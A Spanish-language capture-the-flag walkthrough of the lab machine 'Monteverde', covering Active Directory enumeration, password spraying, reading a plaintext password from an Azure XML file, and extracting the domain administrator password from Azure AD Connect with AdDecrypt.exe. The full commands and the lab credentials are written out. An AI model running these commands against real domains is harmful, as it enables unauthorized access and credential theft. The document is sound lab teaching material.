Monteverde

Monteverde
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Windows Medium 11 Enero 2020 egre55

Reconocimiento

Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

monteverde

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.10.172 -oG open_ports -vvv

monteverde

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p53,88,135,139,389,445,464,593,3268,3269,5985,9389,49667,49673,49674,49676,49696,49749 -oN services_scan -vvv 10.10.10.172

monteverde

Enumeración de servicios

echo "10.10.10.172 MEGABANK.LOCAL" >> /etc/hosts

Enumeración de usuarios a través de una null session usando rpcclient

rpcclient megabank.local/ -U '' -N -I 10.10.10.172 -c 'enumdomusers' | grep -oP '\[\D*?\]' | tr -d '[]' | tee users_ad.txt

monteverde

Validamos los usarios usando kerbrute.

kerbrute userenum -d megabank.local --dc 10.10.10.172 users_ad.txt

monteverde

Ejecutamos un ataque de tipo ASRepRoast, pero no encontramos nada.

impacket-GetNPUsers -usersfile users_ad.txt megabank.local/ -dc-ip 10.10.10.172

Probamos si existen credenciales en las descripciones.

for user in $(cat users_ad.txt); do rpcclient -U "" -N MEGABANK.local -c "queryuser $user"; done | grep -E "User Name|Description"

Explotación inicial

Password Sparying

Podemos probar hacer este ataque para obtener credenciales validas. Como no tenemos una credencial y antes de usar un diccionario como el rockyou podemos probar utilizar la misma lista de usuarios como contraseñas. Es decir, que algunos usuarios pueden tener tanto el usuario como la contraseña igual.

nxc smb 10.10.10.172 -u users_ad.txt -p users_ad.txt

Genial, encontramos al usuario:

SABatchJobs:SABatchJobs

Enumeramos recursos compartidos, donde encontramos dos interesante que saltan a la vista azure_uploads y users en los cuales tenemos capacidad de lectura.

monteverde

Descargamos el archivo azure.xml

smbmap -u 'SABatchJobs' -p 'SABatchJobs' -d megabank.local/ -H 10.10.10.172 -s './users$' --download 'users$/mhope/azure.xml'
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</Objs>

Descubrimos unas crendeciales:

mhope:4n0therD4y@n0th3r$

Las cuales validamos y vemos que son validas, además de tener acceso a través del protocolo winrm.

monteverde

Obtenemos la flag de user.txt

monteverde

monteverde

Enumeración / Movimiento lateral

Elevación de privilegios

El usuario mhope pertenece al grupo Azure Admins.

La enumeración muestra que Azure AD Connect está instalado. Es posible extraer las credenciales de la cuenta que replica los cambios de directorio a Azure (en este caso el administrador de dominio por defecto).

monteverde

monteverde

¿Qué es Azure AD Connect?

Azure AD Connect es una herramienta proporcionada por Microsoft que se utiliza para sincronizar identidades entre el Directorio Activo local (AD) y Azure Active Directory (Azure AD). Esta herramienta es fundamental para integrar entornos locales de Active Directory con los servicios en la nube de Microsoft, como Office 365, Azure y otros servicios basados en la nube.

Aquí hay algunos puntos clave sobre Azure AD Connect:

  1. Sincronización de Identidades: Azure AD Connect permite sincronizar los objetos de usuario, grupo y otros objetos de Active Directory local con Azure AD. Esto asegura que los usuarios puedan acceder a los recursos en la nube utilizando las mismas credenciales que utilizan en su entorno local.

  2. Funcionalidades de Sincronización: La herramienta ofrece diversas opciones de sincronización, incluyendo la sincronización de contraseñas, la sincronización de atributos personalizados, la federación de identidades y la integración con entornos híbridos.

  3. Unificación de Experiencia de Usuario: Azure AD Connect permite a los administradores proporcionar una experiencia de usuario unificada para los usuarios, independientemente de si están accediendo a recursos locales o en la nube.

  4. Autenticación y Autorización: Facilita la autenticación y autorización de usuarios para acceder a los servicios y aplicaciones en la nube de Microsoft, lo que simplifica la administración de identidades y los procesos de inicio de sesión para los usuarios finales.

  5. Integración de Entornos Híbridos: Es especialmente útil en entornos híbridos, donde parte de la infraestructura está local y parte está en la nube. Permite una administración centralizada de identidades en ambos entornos.

En resumen, Azure AD Connect es una herramienta esencial para integrar entornos locales de Active Directory con Azure Active Directory, proporcionando una experiencia de usuario unificada y simplificando la administración de identidades en entornos híbridos y en la nube.

Get-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\ADSync

monteverde

Get-ItemProperty -Path "C:\Program Files\Microsoft Azure AD Sync\Bin\miiserver.exe" | Format-list -Property * -Force

monteverde

Durante la búsqueda en línea se identificó la herramienta AdSyncDecrypt , la cual permite extraer la contraseña de la cuenta de sincronización de AD Connect. En la documentación del repositorio se menciona que, en versiones anteriores, AD Connect almacenaba las credenciales en el Registro de Windows, mientras que en versiones más recientes se utiliza DPAPI (Data Protection API) para protegerlas.

La versión actual de AD Connect al momento de redactar esto es la 1.5.30.0, por lo que es poco probable que la instalación en el servidor aún utilice el esquema basado en el Registro. No obstante, la herramienta es compatible tanto con las versiones antiguas como con las más recientes que emplean DPAPI.

Como siguiente paso, se cargaron los archivos AdDecrypt.exe y mcrypt.dll en la máquina víctima. Luego, nos desplazamos al directorio:

C:\Program Files\Microsoft Azure AD Sync\Bin

y desde allí se ejecutó el binario para iniciar el proceso de extracción de credenciales.

AdDecrypt.exe -FullSQL_

monteverde

Nos revela la contraseña del administrador.

Las validamos con netexec.

monteverde

Genial son validas.

Nos conectamos y leemos la flag de root.txt.

monteverde

monteverde

Referencias